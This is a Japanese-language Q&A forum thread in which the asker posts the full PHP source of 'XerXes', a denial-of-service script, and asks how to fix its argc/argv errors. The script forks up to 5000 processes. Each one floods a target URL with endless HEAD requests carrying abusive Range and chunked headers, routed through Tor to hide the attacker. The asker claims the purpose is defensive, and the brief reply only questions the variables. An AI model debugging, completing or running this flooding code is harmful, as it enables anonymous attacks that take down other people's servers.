0

私は最近、DOS 攻撃スクリプト (それらの使用方法と防御方法) に夢中になり、XerXes と呼ばれるこのスクリプトを手に入れました。これが .c と .php という 2 つの異なる言語でコーディングされていることに気付きました。私は両方を持っています。.c は完全に動作しますが、.php は動作しません。このエラーが発生するためです。

注意: 未定義の変数: 73 行目の C:\xampp\htdocs\XerXes.php の argc

注意: 未定義の変数: 73 行目の C:\xampp\htdocs\XerXes.php の argv

スクリプトは次のとおりです。

<?php
function usage($argv) {
print "Usage: php ./{$argv[0]} <number of processes> <url>\n";
die();
}

function head($url) {
while(true) {

    $header[]     = "Connection: keep-alive";
    $header[]    = "Transfer-Encoding: chunked";
    $header[]    = "Range: bytes=0-,<SNIP>,1-1299";   //Sniped for site because it is BIG
    $header[]    = "Accept-Encoding: gzip, deflate, compress";

    $ch         = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_NOBODY, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_VERBOSE, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);     
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($ch, CURLINFO_HEADER_OUT, false);
    curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:9050");
    curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    while(true) {
        echo '.';
        curl_setopt($ch, CURLOPT_USERAGENT, "XerXeS Attack Platform - 0wn3d bitch. TANGO DOWN (+http://th3j35t3r.wordpress.com/)");
        curl_exec($ch);    
    }        
    curl_close($ch);
}
}

function main($argc, $argv) {

$status = 1;

if ($argc < 3) {
  usage($argv);
}

if($argv[1] > 5001) {
    echo "MAX OF 5000 threads\n\n";
    die();
}

$pids = Array();
echo "URL: ".$argv[2]."\n";
for ($i = 0; $i < $argv[1]; $i++) {
  $pid = pcntl_fork();

  if ($pid == -1) {
die("ERROR");
  }
  else if ($pid == 0) {
        head($argv[2]);
     exit(0);
  }
  else {
$pids[] = $pid;
      }
    }

foreach ($pids as $pid) {
  pcntl_waitpid($pid, $status);
}

}

main($argc, $argv);  //Errors :(
?>

このエラーを解決するための助けをいただければ幸いです。

注意してください: 私はこれらのコードを使用して、セキュリティ上の目的とそれらに対する防御方法のために自分のサーバー以外のサーバーを攻撃することはありません. DDOS や DOS はお勧めしません。

4

1 に答える 1

0

これら 2 つの変数を定義することはありません。関数に何を渡そうとしていmain()ますか?

于 2013-04-12T14:05:10.320 に答える